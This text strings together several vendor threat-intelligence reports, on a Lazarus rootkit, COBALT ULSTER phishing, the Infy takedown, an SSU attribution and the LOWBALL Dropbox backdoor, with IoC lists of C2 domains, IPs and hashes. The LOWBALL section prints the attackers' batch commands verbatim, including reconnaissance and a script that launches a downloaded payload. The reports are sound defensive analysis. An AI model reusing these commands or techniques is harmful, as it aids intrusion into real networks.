The rootkit searches the WFP driver's callout and disables the network monitoring system installed on the system through object flag manipulation. The callout search process is similar to past methods. The rootkit finds the starting byte address of the “WfpProcessFlowDelete” function in NETIO.sys and modifies the flag value of the callout drivers excluding the normal Windows driver callout.
#### 3.3.6. Disabling Event Tracing
The rootkit disabled relevant handles and variables to disable event tracing. The disabling method is similar to the past methods. The rootkit found the starting address of "EtwRegister" function and filled all addresses where handle values were saved to with "NULL," disabling handle information.
## AhnLab Response Overview
The alias and the engine version information of AhnLab products are shown below.
**File Detection**
- Trojan/Win.Lazardoor.C5157217 (2022.06.04.01)
- Rootkit/Win.Agent.C5192169 (2022.07.04.02)
- Rootkit/Win.Agent.C5177679 (2022.06.23.00)
**Behavior Detection**
- InitialAccess/MDP.Event.M4422 (2022.08.08.02)
- InitialAccess/MDP.Event.M4419 (2022.09.21.01)
Although the activities of this threat group have been announced recently, some of their malware was being diagnosed in AhnLab products. The ASEC team tracked the activities of the identified group and responded to the malware, but there may be variants that have not been detected yet.
## Conclusion
The Lazarus Group used vulnerable drivers in the APT attack process to disable all internal monitoring systems. There are currently two vulnerable drivers that have been identified, but it is expected that cases of abuse will increase as there are many more normally-signed vulnerable drivers.
Ever since the DSE (Driver Signature Enforcement) policy was applied from Windows Vista, attacks using rootkit seemed to decrease; however, BYOVD (Bring Your Own Vulnerable Driver) attack cases have been continuously identified since 2014. The BYOVD attacks until now were known as acts of abuse for privilege escalation, but as can be seen in this case, Lazarus Group is the first to design an elaborate rootkit to disable all systems from the old Windows 7 to the most recent OS, Windows Server 2022.
In order to respond to BYOVD attacks, Microsoft has been blocking unauthorized drivers from being loaded based on the block rules in Windows 10’s hypervisor code integrity (HVCI) mode and S mode. As such, the best method of prevention for this type of attack at the moment seems to be strictly blocking drivers from being loaded. Thus, corporate security managers must restrict drivers from being loaded in normal user environments and update security software to the latest version to prevent APT attacks that use BYOVD.
## IoC (Indicators of Compromise)
**File path and name**
The file paths and names used by the malware are as follows. Some may be identical to the names of normal files.
**[Rootkit loader]**
- %SystemRoot%\Comms.bin
- %SystemRoot%\miblib.bin
**[Rootkit]**
- %SystemRoot%\miblib.dat
- %SystemRoot%\temp\~bit353.tmp
- %SystemRoot%\bf.dat
**[Rootkit related module] – SB_SMBUS_SDK.dll**
- %USERPROFILE%\appdata\local\temp\1b6955_sb_smbus_sdk.dll
- %SystemRoot%\temp\206778_sb_smbus_sdk.dll
- %SystemRoot%\temp\4018a066_sb_smbus_sdk.dll
- %SystemRoot%\temp\6d0b88f_sb_smbus_sdk.dll
- %SystemRoot%\temp\4ab916_sb_smbus_sdk.dll
- %SystemRoot%\temp\18532412_sb_smbus_sdk.dll
- %SystemDrive%\users\%ASD%\appdata\local\temp\9e1126_sb_smbus_sdk.dll
**File hashes (MD5)**
The MD5 of the related files are as follows. (However, it is omitted if there is a sensitive sample.)
**[Rootkit loader]**
- 013b4c4e9387d8fe1eab738c42c451da
**[Rootkit]**
- 98e58a39ede26af7980ed4de2873caab
- a6e309f97ffada2d4d0d4aecfb255a91
**[Rootkit related module] – SB_SMBUS_SDK.dll**
- c40643751b426dec01bd390e192b4542
**References**
1. Windows Internals: System Architecture, Processes, Threads, Memory Management, and More, Part 1
2. Microsoft recommended driver block rules
This report is a work of authorship protected by the Copyright Act. Unauthorized copying or reproduction for profit is strictly prohibited. When citing or editing the entirety or a part of the report, you must disclose that this is a report published by AhnLab.
|
# Business as Usual For Iranian Operations Despite Increased Tensions
In spite of concerns regarding Iran’s threatened retaliation for geopolitical events, Iranian threat groups continue to focus on long-running cyberespionage activity.
CTU researchers monitor Iranian cyber operations, including the potential for retaliation after a January 2, 2020 U.S. drone strike killed Islamic Revolutionary Guard Corps (IRGC) Quds Force General Qasem Soleimani. Although there was ballistic missile bombardment of U.S. military personnel in Iraq on January 8, no government-directed cyber retaliation has been observed as of this publication.
Despite the lack of retaliatory activity, CTU researchers have observed the continuation of several espionage-focused campaigns. A series of spearphishing campaigns that occurred between mid-2019 and mid-January 2020 targeted governmental organizations in Turkey, Jordan, Iraq, as well as global intergovernmental organizations and unknown entities in Georgia and Azerbaijan. Most of this activity commenced prior to the U.S. drone strike.
Victimology and code similarity between the macros in the analyzed samples and macros documented in open-source reporting suggest that these campaigns were conducted by the COBALT ULSTER threat group (also known as MuddyWater, Seedworm, TEMP.Zagros, and Static Kitten), which is tasked by the Iranian government.
## Multiple paths to compromise
In one compromised environment, threat actors conducted multiple rounds of spearphishing with malicious attachments to gain initial access. Some of the email messages contained a link to a compromised website, passing the name of the target organization as a parameter in the URL. These links were likely intended to track when messages were viewed, a tactic known as a web bug.
CTU researchers analyzed two different infection chains. One chain delivered a malicious document via a ZIP archive attached to a spearphishing message. The archive contained a Microsoft Excel Spreadsheet (XLS) file with a filename that was thematically aligned with the spearphishing lure.
In historic COBALT ULSTER campaigns, the documents used a government agency, university, or intelligence organization-related theme with blurred content and a prompt to enable macros. In mid-2019, the threat actors adopted a more generic style. In this approach, recipients who open the attachment are presented with a seemingly innocuous document that requests they “enable” the content to view the document. This action disables security controls on active content in the document and runs the embedded malicious code.
The embedded VBScript macro is concealed using multiple layers of obfuscation. It drops a copy of the legitimate Microsoft 32-bit wscript.exe binary into a non-standard directory path and uses it to run additional VBScript code. This binary typically runs from a location such as C:\Windows\SysWOW64\wscript.exe. The identification of this hash, or command lines that include /E:vbs, running from non-standard directories could indicate a compromise from this campaign.
An HKU\<Security Identifier>\Software\Microsoft\Windows\CurrentVersion\Run\ registry key is set for persistence. Another executed block of VBScript and PowerShell downloads a second-stage obfuscated PowerShell downloader.
This code downloads additional payloads from an IP address hard-coded in the script. CTU researchers have observed four different IP addresses. Although many threat groups use multiple layers of obfuscation and multiple stages of activity to deploy payloads, these practices are common in COBALT ULSTER operations.
The second infection chain analyzed by CTU researchers also used a spearphishing email to deliver a ZIP archive containing a malicious Excel file. In this case, the Excel file uses an obfuscated macro to drop and execute a previously unobserved remote access trojan (RAT) that CTU researchers refer to as ForeLord. The malicious document uses cmd.exe to execute a batch script (tt.bat) that adds a key to the registry for persistence when the system restarts. In parallel, a PowerShell script uses rundll32.exe to execute the ForeLord malware (Exchange.dll).
The DNS-based command and control (C2) protocol uses DNS_TYPE_TEXT records to transfer data. The ForeLord name reflects one of the DNS responses that the malware looks for as part of the C2 protocol: “lordlordlordlord”. This string is received from the C2 servers and acknowledges reception of the message. The ForeLord malware uses DNS request formats that correspond to one of the patterns shown.
The use of DNS tunneling means the requests are initially directed to legitimate DNS servers, which relay the requests to malicious nameservers controlled by the threat actors. Pivoting on elements of the C2 protocol, CTU researchers identified 14 additional domains possibly registered by COBALT ULSTER.
After gaining initial access to a host, the threat actors dropped several tools to collect credentials, test those credentials on the network, and create a reverse SSL tunnel to provide an additional access channel to the network. These tools included PASS32.dll, PASS64.dll, PasswordDumper.exe, and a Mimikatz variant named Caller.dll. The Caller.dll command line included Base64-encoded arguments, potentially as an evasion technique to hide the nature of this tool.
CredNinja.ps1 is an open-source tool that allows penetration testers to quickly test collected credentials or hashes to determine which will work on a targeted Windows domain. The threat actors used a list of valid user accounts from the target domain in conjunction with a weak password list to determine potentially accessible accounts. The password list could be augmented to test credentials captured from credential-dumping tools.
The open-source Secure Socket Funneling TCP and UDP port forwarding tool forwards data from multiple sockets through a single secure TLS tunnel to a remote computer. This forwarding provides the threat actor with an additional remote access mechanism. The -F option runs a SOCKS proxy on the local host, which is accessible from the server, and -p defines the remote port to use when connecting to the server. It is possible that this mechanism was used to allow remote access to the compromised host via Remote Desktop Protocol (RDP).
## Conclusion
Although Iran has not launched a cyber retaliation for Soleimani’s death as of this publication, CTU researchers acknowledge that planning and coordinating for a response takes time. Iran has destructive and disruptive capabilities that it has historically employed for retaliatory purposes against organizations. In some cases, these responses materialized several months after provocations toward Iran occurred. However, Iran's cyberespionage operations continue.
From a threat management and risk assessment perspective, CTU researchers advise organizations not to conflate ongoing espionage operations with a retaliatory response. However, continually leveraging threat intelligence to assess and improve controls will help network defenders secure their environments against malicious activity regardless of intent.
Many Iranian intrusions observed by CTU researchers between 2018 and early 2020 began with the collection of valid credentials in the victim's environment via social engineering, phishing, password spraying, brute-force attacks, and exploitation of publicly available systems. Organizations concerned about threats from Iran should review prevention, detection, and response procedures:
- Apply security updates to all systems, particularly those that are Internet-facing.
- Protect user credentials within the environment through periodic user awareness training and multi-factor authentication (MFA). Employ MFA for remote access solutions and web-based email access, including Office365.
- As most of the observed Iranian intrusions involved malware or abuse of native system tools, employ endpoint detection technology that detects those types of activity.
- Establish and test procedures for responding to denial of service activity. If appropriate, a distributed denial of service mitigation service provider can ensure continuity of Internet-facing services.
To mitigate exposure to this malware, CTU researchers recommend that organizations use available controls to review and restrict access using the indicators listed in the table below. The domains and URLs may contain malicious content, so consider the risks before opening them in a browser.
| Indicator | Type | Context |
|---------------------------------------------|--------|----------------------------------------------------------------|
| lalindustries.com | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| linkupdate.org | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| cfm.com.pk | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| graphixo.net | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| ksahosting.net | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| assignmenthelptoday.com | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| ampacindustries.com | Domain | Compromised website hosting COBALT ULSTER C2 infrastructure |
| outlook-accounts.tk | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| outlook-accounts.ml | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| officex64.ml | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| windows-patch.tk | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| windows-patch.ml | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| windowscortana.tk | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| msdn-social.tk | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| msdn-social.ml | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| spacex.gq | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| spacex.cf | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| googlecloud.gq | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| googlecloud.cf | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| device-update.tk | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
| bing-search.ml | Domain | Suspected ForeLord C2 infrastructure linked via bing-search.ml |
|
# Prince of Persia – Game Over
**By Tomer Bar, Lior Efraim, and Simon Conant**
**June 28, 2016**
**Category:** Malware, Threat Prevention, Unit 42
**Tags:** C2, Infy
## Summary
Unit 42 published a blog at the beginning of May titled "Prince of Persia," in which we described the discovery of a decade-long campaign using a formerly unknown malware family, Infy, that targeted government and industry interests worldwide. Subsequent to the publishing of this article, through cooperation with the parties responsible for the C2 domains, Unit 42 researchers successfully gained control of multiple C2 domains. This disabled the attacker’s access to their victims in this campaign, provided further insight into the targets currently victimized in this operation, and enabled the notification of affected parties.
## Post Publication
In the week following the publication of the original blog, we observed no unusual changes to the C2 infrastructure. Existing domains did move to new IP addresses, as we had previously seen periodically. Some new install domains were added, adhering to naming conventions of current domains. The attackers developed a new version (31), and we observed this deployed against a single Canadian target. The file descriptions remained essentially the same (“CLMediaLibrary Dynamic Link Library V3”). Most importantly, there was no change to the encoding key (now using offset 20, and offset 11 for second pass against URL encoding) that we had observed being used for the entire decade-long campaign, and documented in our previous blog. From this, we conclude that the attackers were unaware of our initial report.
## Sinkhole
Through cooperation with the parties responsible for the C2 domains, we took control of all but one of them, transferring the A records to a server we controlled. This prevented the attackers from being able to subsequently make any further changes to the domain configurations, issue commands to victims, or capture any further data for the majority of victims. An analysis of connections after transfer suggests that the attackers may have used a third-party service to try to understand why they had suddenly lost almost all of their traffic.
We have since transferred sinkhole control to Shadowserver, whom we thank for subsequent victim notification and remediation.
## Victims
We were able to analyze victim C2 traffic to understand who were victims of the Infy campaign. We identified 456 malware agents installed on 326 victim systems, in 35 countries. We noted in our original blog the large amount of targeting of Iranian citizens in this campaign; we observed almost one-third of all victims to be Iranian. Also of note was the low overall volume of victims, compared to, for example, crimeware campaigns.
## Versions
In our original blog, we noted two distinct primary variants of the Infy malware. In addition to the original “Infy” variant, we also see the newer, more sophisticated, interactive, and fuller-featured “Infy M” variant deployed against apparently-higher-value targets. Overall, 93% of all victims were infected with Infy, and 60% with Infy “M.” Combined with the low total number of victims, this suggests a great deal of care given to each individual campaign target. The large number of victims with both variants may relate to their complementary feature set or represent an “upgrade” path on victims from the original variant infection, later adding the “M” variant as targets appeared more compelling to the attackers.
For the Infy “M” variant, we note that the majority of targets are using the latest version (7.8), and that none are using the older 6.x versions at all. This suggests that these higher-value targets are paid much more attention, being kept up-to-date with the latest version. In contrast, for the more basic original Infy variant, we note a full spectrum of versions installed, with many victims on older versions – including the original, decade-old V1 – suggesting much less concern is paid to these individual targets.
## Game Over
Shortly after the takedown, as well as a new Infy version (31), we also observed the registration of multiple domains using a previously-seen pattern, against known campaign IP addresses. Almost every domain in the pattern-range box4035[.]net – box4090[.]net. Some victims infected with Infy versions 15-24 still used the C2 server us1s2[.]strangled[.]net, which remained in the hands of the attacker. In early June, the attackers used this C2 to issue instructions to download new Infy “M” version 8.0 from us1s2[.]strangled[.]net/bdc.tmp. This was the first time we had observed an Infy variant being directly updated to Infy “M.” This used the camouflage name “Macromedia v4,” changed from “v3” seen in Infy v31. They also removed the voice recording capability in this version.
After the takedown, the attackers began to add server IP addresses as well as domain names to their malware C2 list. They also slightly modified their ZIP password from “Z8(2000_2001ul” to “Z8(2000_2001uIEr3.” Their new malware version added antivirus checks for Kaspersky Labs, Avast, and Trend Micro. The malware data capture now searches for various file extensions and folder locations. The malware continued to use the identical decryption key seen over the entire history of this campaign.
Mid-June, through cooperation with the parties responsible for the C2 domains and law enforcement, we were able to get the remaining C2 domains null-routed and the directly-IP-addressed server disabled. This is the end of a decade-long campaign, though we naturally expect to see this actor back in some other guise before long.
Thanks to the Malware research team - Yaron Samuel, Artiom Radune, Mashav Sapir, Netanel Rimer – for assistance in the takedown.
## Appendix 1 – Exfiltration Algorithm
The malware uses a different algorithm than that used for encrypting the malware strings to encrypt the exfiltration data, including:
1. Keylogger data + language.
2. Malware logs - installation time, DLL path and name, log path, number of downloads, number of successful/failed connections.
3. Information about the victim computer: Time zone, list of drives and types, running processes, disk info.
First, the malware adds 1 to all bytes, then an encryption key is initialized based on the victim computer name. The encrypted data is then base64 encoded.
## Appendix 2 – IoCs
Infy version 31: f07e85143e057ee565c25db2a9f36491102d4e526ffb02c83e580712ec00eb27
Infy “M” version 8.0: 583349B7A2385A1E8DE682A43351798CA113CBBB80686193ECF9A61E6942786A
5.9.94.34
138.201.0.134
138.201.47.150
144.76.250.205
138.201.47.158
138.201.47.153
us1s2[.]strangled[.]net
uvps1[.]cotbm[.]com
gstat[.]strangled[.]net
secup[.]soon[.]it
p208[.]ige[.]es
lu[.]ige[.]es
updateserver1[.]com
updateserver3[.]com
updatebox4[.]com
bestupdateserver[.]com
bestupdateserver2[.]com
bestbox3[.]com
safehostline[.]com
youripinfo[.]com
bestupser[.]awardspace[.]info
box4035[.]net
box4036[.]net
box4037[.]net
box4038[.]net
box4039[.]net
box4040[.]net
box4041[.]net
box4042[.]net
box4043[.]net
box4044[.]net
box4045[.]net
box4046[.]net
box4047[.]net
box4048[.]net
box4049[.]net
box4050[.]net
box4051[.]net
box4052[.]net
box4053[.]net
box4054[.]net
box4055[.]net
box4056[.]net
box4057[.]net
box4058[.]net
box4059[.]net
box4060[.]net
box4061[.]net
box4062[.]net
box4063[.]net
box4064[.]net
box4065[.]net
box4066[.]net
box4067[.]net
box4068[.]net
box4069[.]net
box4070[.]net
box4071[.]net
box4072[.]net
box4075[.]net
box4078[.]net
box4079[.]net
box4080[.]net
box4081[.]net
box4082[.]net
box4083[.]net
box4084[.]net
box4085[.]net
box4086[.]net
box4087[.]net
box4088[.]net
box4089[.]net
box4090[.]net
|
SSU identifies FSB hackers responsible for over 5,000 cyber attacks against Ukraine
The SSU Cyber Security Department identified hackers of the notorious ARMAGEDON group, which carried out over 5,000 cyber attacks against public authorities and critical infrastructure of Ukraine. They are officers of the ‘Crimean’ FSB and traitors who defected to the enemy during the occupation of the peninsula in 2014.
The SSU has managed to identify the perpetrators’ names, intercept their communication, and obtain irrefutable evidence of their involvement in the attacks. All of that, despite the fact that they used the FSB’s own malicious software and tools to remain anonymous and hidden online.
Five members of the group have been notified of suspicion of treason. The ARMAGEDON hacker group is an FSB special project, which specifically targeted Ukraine. This ‘line of work’ is coordinated by the FSB’s 18th Center (Information Security Center) based in Moscow.
Since the Russian aggression in 2014, this unit has carried out over 5,000 cyber attacks and attempted to infect over 1,500 government computer systems. The attackers’ goals were:
- Control over critical infrastructure facilities (power plants, heat and water supply systems)
- Theft and collection of intelligence, including information with restricted access (related to security and defence sector, government agencies)
- Informational and psychological influence
- Blocking information systems
The investigation and forensic examinations are underway to bring the FSB employees to justice for the following crimes: espionage; unauthorized interference in the work of computers, automated systems, etc.; creation of malicious software or hardware for use, distribution or sale.
The SSU is continuously taking steps to contain and neutralize Russia’s cyber aggression against Ukraine. The SSU Cyber Security Department and the SSU investigators carried out the operation jointly with the Main Intelligence Directorate of the Ministry of Defense of Ukraine and under the supervision of the Prosecutor General’s Office.
|
# Threat: China-based Cyber Threat Group Uses Dropbox for Command and Control
FireEye Threat Intelligence analysts identified a spear phishing campaign carried out in August 2015 targeting Hong Kong-based media organizations. A China-based cyber threat group, which FireEye tracks as an uncategorized advanced persistent threat (APT) group and other researchers refer to as “admin@338,” may have conducted the activity. The email messages contained malicious documents with a malware payload called LOWBALL. LOWBALL abuses the Dropbox cloud storage service for command and control (CnC). We collaborated with Dropbox to investigate the threat, revealing what may be a second, similar operation. The attack is part of a trend where threat groups hide malicious activity by communicating with legitimate web services such as social networking and cloud storage sites to foil detection efforts.
The threat group has previously used newsworthy events as lures to deliver malware. They have largely targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as Poison Ivy, as well as some non-public backdoors.
The group started targeting Hong Kong media companies, probably in response to political and economic challenges in Hong Kong and China. The threat group’s latest activity coincided with the announcement of criminal charges against democracy activists. During the past 12 months, Chinese authorities have faced several challenges, including large-scale protests in Hong Kong in late 2014, the precipitous decline in the stock market in mid-2015, and the massive industrial explosion in Tianjin in August 2015. In Hong Kong, the pro-democracy movement persists, and the government recently denied a professor a post because of his links to a pro-democracy leader.
Multiple China-based cyber threat groups have targeted international media organizations in the past. The targeting has often focused on Hong Kong-based media, particularly those that publish pro-democracy material. The media organizations targeted with the threat group’s well-crafted Chinese language lure documents are precisely those whose networks Beijing would seek to monitor. Cyber threat groups’ access to the media organization’s networks could potentially provide the government advance warning on upcoming protests, information on pro-democracy group leaders, and insights needed to disrupt activity on the Internet, such as what occurred in mid-2014 when several websites were brought down in denial of service attacks.
In August 2015, the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations, including newspapers, radio, and television. The first email references the creation of a Christian civil society organization to coincide with the anniversary of the 2014 protests in Hong Kong known as the Umbrella Movement. The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.
The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences. This campaign, however, is clearly designed for those who read the traditional Chinese script commonly used in Hong Kong.
The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158):
- **MD5**: b9208a5b0504cb2283b1144fc455eaaa
**Filename**: 使 命 公 ⺠ 運 動 我 們 的 異 象.doc
- **MD5**: ec19ed7cddf92984906325da59f75351
**Filename**: 新 聞 稿 及 公 佈.doc
- **MD5**: 6495b384748188188d09e9d5a0c401a4
**Filename**: (代 發)[采 訪 通 知]港 大 校 友 關 注 組 遞 信 行 動.doc
In all three cases, the payload was the same:
- **MD5**: d76261ba3b624933a6ebb5dd73758db4
**Filename**: time.exe
This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.
After execution, the malware will use the Dropbox API to make an HTTP GET request using HTTPS over TCP port 443 for the files:
- **MD5**: d76261ba3b624933a6ebb5dd73758db4
**Filename**: WmiApCom
- **MD5**: 79b68cdd0044edd4fbf8067b22878644
**Filename**: WmiApCom.bat
The “WmiApCom.bat” file is simply used to start “WmiApCom,” which happens to be the exact same file as the one dropped by the malicious Word documents. However, this is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.
The threat group monitors its Dropbox account for responses from compromised computers. Once the LOWBALL malware calls back to the Dropbox account, the attackers will create a file called “[COMPUTER_NAME]_upload.bat” which contains commands to be executed on the compromised computer. This batch file is then executed on the target computer, with the results uploaded to the attackers’ Dropbox account in a file named “[COMPUTER_NAME]_download”.
We observed the threat group issue the following commands:
```
@echo off
dir c:\ >> %temp%\download
ipconfig /all >> %temp%\download
net user >> %temp%\download
net user /domain >> %temp%\download
ver >> %temp%\download
del %0
```
```
@echo off
dir "c:\Documents and Settings" >> %temp%\download
dir "c:\Program Files\" >> %temp%\download
net start >> %temp%\download
net localgroup administrator >> %temp%\download
netstat -ano >> %temp%\download
```
These commands allow the threat group to gain information about the compromised computer and the network to which it belongs. Using this information, they can decide to explore further or instruct the compromised computer to download additional malware.
We observed the threat group upload a second stage malware, known as BUBBLEWRAP (also known as Backdoor.APT.FakeWinHTTPHelper) to their Dropbox account along with the following command:
```
@echo off
ren "%temp%\upload" audiodg.exe
start %temp%\audiodg.exe
dir d:\ >> %temp%\download
systeminfo >> %temp%\download
del %0
```
We have previously observed the admin@338 group use BUBBLEWRAP. This particular sample connected to the CnC domain accounts.serveftp.com, which resolved to an IP address previously used by the threat group, although the IP had not been used for some time prior to this most recent activity:
- **MD5**: 0beb957923df2c885d29a9c1743dd94b
**Domain**: accounts.serveftp.com
**IP Address**: 59.188.0.197
BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.
FireEye works closely with security researchers and industry partners to mitigate cyber threats, and we collaborated with Dropbox to respond to this activity. The Dropbox security team was able to identify this abuse and put countermeasures in place.
Our cooperation uncovered what appears to be a second, ongoing operation, though we lack sufficient evidence to verify if admin@338 is behind it. The attack lifecycle followed the same pattern, though some of the filenames were different, which indicates that there may be multiple versions of the malware. In addition, while the operation targeting Hong Kong-based media involved a smaller number of targets and a limited duration, we suspect this second operation involves up to 50 targets. At this time, we are unable to identify the victims.
In this case, after the payload is delivered via an exploit, the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account. The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download):
- **upload.bat**: a batch script that the compromised machine will execute
- **upload.rar**: a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe) which the batch script will run and almost always uploads the results of download.rar to the cloud storage account
- **silent.txt and period.txt**: small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC
The threat actor will then download the results and then delete the files from the cloud storage account. LOWBALL is an example of malware that abuses cloud storage services to mask its activity from network defenders. The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.